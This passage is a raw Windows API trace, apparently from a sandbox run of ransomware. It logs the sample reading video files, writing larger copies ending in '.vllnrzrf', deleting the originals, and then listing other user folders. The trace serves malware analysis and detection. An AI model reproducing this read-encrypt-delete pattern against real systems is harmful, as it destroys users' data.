HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv", lpFilePart=0x0) returned 0x50 [0123.309] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\1QTt0.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\1qtt0.mkv")) returned 1 [0123.311] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi", lpFilePart=0x0) returned 0x55 [0123.311] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi", lpFilePart=0x0) returned 0x55 [0123.311] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi", lpFilePart=0x0) returned 0x55 [0123.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ec70) returned 1 [0123.312] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\5tzzgg_ven.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.312] GetFileType (hFile=0x52c) returned 0x1 [0123.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89ebe0) returned 1 [0123.312] GetFileType (hFile=0x52c) returned 0x1 [0123.312] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1c89ee08 | out: lpFileSizeHigh=0x1c89ee08*=0x0) returned 0x5545 [0123.312] ReadFile (in: hFile=0x52c, lpBuffer=0x224a9a0, nNumberOfBytesToRead=0x5545, lpNumberOfBytesRead=0x1c89ed38, lpOverlapped=0x0 | out: lpBuffer=0x224a9a0*, lpNumberOfBytesRead=0x1c89ed38*=0x5545, lpOverlapped=0x0) returned 1 [0123.313] CloseHandle (hObject=0x52c) returned 1 [0123.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi.vllnrzrf", lpFilePart=0x0) returned 0x5e [0123.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ec70) returned 1 [0123.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\5tzzgg_ven.avi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.323] GetFileType (hFile=0x52c) returned 0x1 [0123.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89ebe0) returned 1 [0123.323] GetFileType (hFile=0x52c) returned 0x1 [0123.323] WriteFile (in: hFile=0x52c, lpBuffer=0x2275208*, nNumberOfBytesToWrite=0x5745, lpNumberOfBytesWritten=0x1c89ed98, lpOverlapped=0x0 | out: lpBuffer=0x2275208*, lpNumberOfBytesWritten=0x1c89ed98*=0x5745, lpOverlapped=0x0) returned 1 [0123.324] CloseHandle (hObject=0x52c) returned 1 [0123.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi", lpFilePart=0x0) returned 0x55 [0123.328] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi", nBufferLength=0x105, lpBuffer=0x1c89e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi", lpFilePart=0x0) returned 0x55 [0123.328] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\5TzzGg_vEN.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\5tzzgg_ven.avi")) returned 1 [0123.331] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv", lpFilePart=0x0) returned 0x5d [0123.331] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv", lpFilePart=0x0) returned 0x5d [0123.331] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv", lpFilePart=0x0) returned 0x5d [0123.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ec70) returned 1 [0123.331] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\pyonqvaa59vyxs v2l.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.331] GetFileType (hFile=0x52c) returned 0x1 [0123.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89ebe0) returned 1 [0123.331] GetFileType (hFile=0x52c) returned 0x1 [0123.331] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1c89ee08 | out: lpFileSizeHigh=0x1c89ee08*=0x0) returned 0x13cfd [0123.331] ReadFile (in: hFile=0x52c, lpBuffer=0x227b6d8, nNumberOfBytesToRead=0x13cfd, lpNumberOfBytesRead=0x1c89ed38, lpOverlapped=0x0 | out: lpBuffer=0x227b6d8*, lpNumberOfBytesRead=0x1c89ed38*=0x13cfd, lpOverlapped=0x0) returned 1 [0123.333] CloseHandle (hObject=0x52c) returned 1 [0123.344] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv.vllnrzrf", lpFilePart=0x0) returned 0x66 [0123.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ec70) returned 1 [0123.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\pyonqvaa59vyxs v2l.flv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.345] GetFileType (hFile=0x52c) returned 0x1 [0123.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89ebe0) returned 1 [0123.345] GetFileType (hFile=0x52c) returned 0x1 [0123.345] WriteFile (in: hFile=0x52c, lpBuffer=0x22e91a0*, nNumberOfBytesToWrite=0x13efd, lpNumberOfBytesWritten=0x1c89ed98, lpOverlapped=0x0 | out: lpBuffer=0x22e91a0*, lpNumberOfBytesWritten=0x1c89ed98*=0x13efd, lpOverlapped=0x0) returned 1 [0123.348] CloseHandle (hObject=0x52c) returned 1 [0123.350] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv", lpFilePart=0x0) returned 0x5d [0123.350] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv", nBufferLength=0x105, lpBuffer=0x1c89e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv", lpFilePart=0x0) returned 0x5d [0123.350] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\pYoNqvAA59vyxs v2L.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\pyonqvaa59vyxs v2l.flv")) returned 1 [0123.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv", lpFilePart=0x0) returned 0x53 [0123.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv", lpFilePart=0x0) returned 0x53 [0123.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv", lpFilePart=0x0) returned 0x53 [0123.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ec70) returned 1 [0123.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\s_cmzx7p.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.354] GetFileType (hFile=0x52c) returned 0x1 [0123.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89ebe0) returned 1 [0123.354] GetFileType (hFile=0x52c) returned 0x1 [0123.354] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1c89ee08 | out: lpFileSizeHigh=0x1c89ee08*=0x0) returned 0xc287 [0123.355] ReadFile (in: hFile=0x52c, lpBuffer=0x22fde00, nNumberOfBytesToRead=0xc287, lpNumberOfBytesRead=0x1c89ed38, lpOverlapped=0x0 | out: lpBuffer=0x22fde00*, lpNumberOfBytesRead=0x1c89ed38*=0xc287, lpOverlapped=0x0) returned 1 [0123.356] CloseHandle (hObject=0x52c) returned 1 [0123.366] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv.vllnrzrf", lpFilePart=0x0) returned 0x5c [0123.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ec70) returned 1 [0123.366] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\s_cmzx7p.mkv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.367] GetFileType (hFile=0x52c) returned 0x1 [0123.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89ebe0) returned 1 [0123.367] GetFileType (hFile=0x52c) returned 0x1 [0123.367] WriteFile (in: hFile=0x52c, lpBuffer=0x2342708*, nNumberOfBytesToWrite=0xc487, lpNumberOfBytesWritten=0x1c89ed98, lpOverlapped=0x0 | out: lpBuffer=0x2342708*, lpNumberOfBytesWritten=0x1c89ed98*=0xc487, lpOverlapped=0x0) returned 1 [0123.369] CloseHandle (hObject=0x52c) returned 1 [0123.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv", lpFilePart=0x0) returned 0x53 [0123.372] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv", nBufferLength=0x105, lpBuffer=0x1c89e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv", lpFilePart=0x0) returned 0x53 [0123.372] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\s_CMZX7P.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\s_cmzx7p.mkv")) returned 1 [0123.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi", lpFilePart=0x0) returned 0x5e [0123.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi", lpFilePart=0x0) returned 0x5e [0123.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi", lpFilePart=0x0) returned 0x5e [0123.376] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ec70) returned 1 [0123.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\uxorvphts9xsmls dbz.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.377] GetFileType (hFile=0x52c) returned 0x1 [0123.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89ebe0) returned 1 [0123.377] GetFileType (hFile=0x52c) returned 0x1 [0123.377] GetFileSize (in: hFile=0x52c, lpFileSizeHigh=0x1c89ee08 | out: lpFileSizeHigh=0x1c89ee08*=0x0) returned 0x13ccd [0123.377] ReadFile (in: hFile=0x52c, lpBuffer=0x234f908, nNumberOfBytesToRead=0x13ccd, lpNumberOfBytesRead=0x1c89ed38, lpOverlapped=0x0 | out: lpBuffer=0x234f908*, lpNumberOfBytesRead=0x1c89ed38*=0x13ccd, lpOverlapped=0x0) returned 1 [0123.379] CloseHandle (hObject=0x52c) returned 1 [0123.390] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi.vllnrzrf", lpFilePart=0x0) returned 0x67 [0123.390] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c89ec70) returned 1 [0123.390] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\uxorvphts9xsmls dbz.avi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x52c [0123.392] GetFileType (hFile=0x52c) returned 0x1 [0123.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c89ebe0) returned 1 [0123.392] GetFileType (hFile=0x52c) returned 0x1 [0123.392] WriteFile (in: hFile=0x52c, lpBuffer=0x23bd340*, nNumberOfBytesToWrite=0x13ecd, lpNumberOfBytesWritten=0x1c89ed98, lpOverlapped=0x0 | out: lpBuffer=0x23bd340*, lpNumberOfBytesWritten=0x1c89ed98*=0x13ecd, lpOverlapped=0x0) returned 1 [0123.395] CloseHandle (hObject=0x52c) returned 1 [0123.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi", nBufferLength=0x105, lpBuffer=0x1c89e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi", lpFilePart=0x0) returned 0x5e [0123.397] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi", nBufferLength=0x105, lpBuffer=0x1c89e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi", lpFilePart=0x0) returned 0x5e [0123.397] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\UxOrvpHts9xsMls Dbz.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\uxorvphts9xsmls dbz.avi")) returned 1 [0123.400] CoUninitialize () Thread: id = 115 os_tid = 0x30c [0123.403] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.404] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1c83eb80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0123.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c83efe0) returned 1 [0123.404] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User", nBufferLength=0x105, lpBuffer=0x1c83ead0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User", lpFilePart=0x0) returned 0x15 [0123.404] GetFullPathNameW (in: lpFileName="C:\\Users\\Default User\\", nBufferLength=0x105, lpBuffer=0x1c83ea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default User\\", lpFilePart=0x0) returned 0x16 [0123.404] FindFirstFileW (in: lpFileName="C:\\Users\\Default User\\*.*", lpFindFileData=0x1c83ec80 | out: lpFindFileData=0x1c83ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0123.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c83ef10) returned 1 [0123.411] CoUninitialize () Thread: id = 116 os_tid = 0x4e0 [0123.416] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0123.416] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1c87e600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0123.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87ea60) returned 1 [0123.416] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x1c87e550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0123.416] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\", nBufferLength=0x105, lpBuffer=0x1c87e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\", lpFilePart=0x0) returned 0x10 [0123.416] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x1c87e700 | out: lpFindFileData=0x1c87e700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb98e48d0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb98e48d0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0123.423] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb98e48d0, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb98e48d0, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.423] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e750 | out: lpFindFileData=0x1c87e750*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, 